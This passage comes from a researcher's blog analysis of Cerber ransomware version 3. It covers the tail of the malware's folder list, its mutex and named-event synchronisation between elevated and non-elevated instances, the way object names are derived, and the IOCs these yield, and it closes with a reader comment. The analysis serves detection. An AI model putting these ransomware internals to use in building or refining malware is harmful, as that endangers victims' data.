":\\documents and settings\\all users\\documents\\",

"\\appdata\\roaming\\microsoft\\office\\",

"\\excel\\",

"\\microsoft sql server\\",

"\\onenote\\",

"\\outlook\\",

"\\powerpoint\\",

"\\steam\\",

"\\the bat!\\",

"\\thunderbird\\"

]

}

}

The last thing I checked was the usage of synchronization objects. I quickly found the place where the sample was creating its main mutex.

cerber-mutex

This is the same mutex that is described in the Check Point report and as you can see Cerber will terminate execution if the mutex already exists in the system. It is however not the only synchronization object that is created. This sample also uses a named event.

cerber-createevent

The event serves as a synchronization object between non-elevated and elevated instances of Cerber. It is only created in the elevated process and it is only opened in the non-elevated one.

cerber-eventopen

As you can see, the sample is trying to open the event and if it fails, it is retrying every 1 millisecond for a whole minute. The 1 millisecond sleep is important, as the non-elevated sample has to terminate as soon as possible, so that the main mutex is destroyed, otherwise the elevated process would terminate because of that. If the event is successfully opened, the non-elevated process will terminate. In case it cannot open the event for a whole minute, it will go on with the encryption in non-elevated mode. The names of the synchronization objects are in a form of shell.{%GUID%} where the GUID part is derived from a string in a form %COMPUTERNAME%\CERBER_CORE_PROTECTION_MUTEX for the mutex and %COMPUTERNAME%\CERBER_EVALUATED_CORE_PROTECTION_EVENT for the event.

cerber-namegen

Conclusion:

We can see that Cerber is still evolving and the 3rd version of this ransomware contains minor modifications in implementation besides the change that was intended to fix the encryption. The changes in the elevation scheme and the usage of an additional synchronization object could serve as additional IOCs.

Also did I mention that the other sample I managed to download from the URL above was also an NSIS installer? And guess what the payload was … that’s right, it was Locky. By the way, it is still serving new and new droppers so be sure to check i out 😉

The fact that Cerber and Locky are using the same spreading mechanisms and even sharing the same domain for hosting the droppers could very well be the reason behind this too (remember the spam that I mentioned at the beginning?). But this is just a wild guess 🙂

Stay safe and until next time…

One thought on “Anatomy of a personalized Cerber spam”

  1. Hello,

    My name is David Balaban, I run http://privacy-pc.com/ 

    I have put together this (hopefully) useful and convenient post: http://privacy-pc.com/articles/ransomware-chronicle.html

    It covers all new ransomware strains, updates, decryptors, etc. It is an ongoing list. I plan to update it on a weekly basis.

    It is based on BleepingComputer’s weekly ransomware articles contributed by you and other malware researchers. 

    Thanks for your work!

    Regards,

    – David Balaban

Leave a Reply

Your email address will not be published. Required fields are marked *